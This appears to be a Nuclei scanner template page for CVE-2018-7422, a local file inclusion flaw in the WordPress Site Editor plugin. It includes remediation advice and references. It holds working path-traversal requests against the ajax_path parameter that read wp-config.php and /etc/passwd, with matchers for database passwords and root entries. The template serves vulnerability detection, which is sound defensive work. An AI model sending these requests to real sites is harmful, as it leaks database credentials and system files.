WordPress Site Editor <=1.1.1 - Local File Inclusion

ID: CVE-2018-7422

Severity: high

Author: LuskaBol,0x240x23elu

Tags: cve2018,cve,wordpress,wp-plugin,lfi,edb,seclists,siteeditor

Description

WordPress Site Editor through 1.1.1 allows remote attackers to retrieve arbitrary files via the ajax_path parameter to editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php.

YAML Source

id: CVE-2018-7422

info:
  name: WordPress Site Editor <=1.1.1 - Local File Inclusion
  author: LuskaBol,0x240x23elu
  severity: high
  description: |
    WordPress Site Editor through 1.1.1 allows remote attackers to retrieve arbitrary files via the ajax_path parameter to editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive files, potentially leading to further compromise of the system.
  remediation: |
    Update WordPress Site Editor plugin to the latest version to mitigate the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/44340
    - http://seclists.org/fulldisclosure/2018/Mar/40
    - https://wpvulndb.com/vulnerabilities/9044
    - https://nvd.nist.gov/vuln/detail/CVE-2018-7422
    - https://github.com/El-Palomo/SYMFONOS
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-7422
    cwe-id: CWE-22
    epss-score: 0.94711
    epss-percentile: 0.99255
    cpe: cpe:2.3:a:siteeditor:site_editor:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: siteeditor
    product: site_editor
    framework: wordpress
  tags: cve2018,cve,wordpress,wp-plugin,lfi,edb,seclists,siteeditor

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=../../../../../../../wp-config.php'
      - "{{BaseURL}}/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd"

    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
# digest: 4a0a00473045022013e2773ecc57b4cc10a9bd06359fa5f1cc45a6f06703285121b857ae06e7c6740221009fc81b128c95085952bb24cc6ee84097203198dea0bda0e547217149e86e17f6:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

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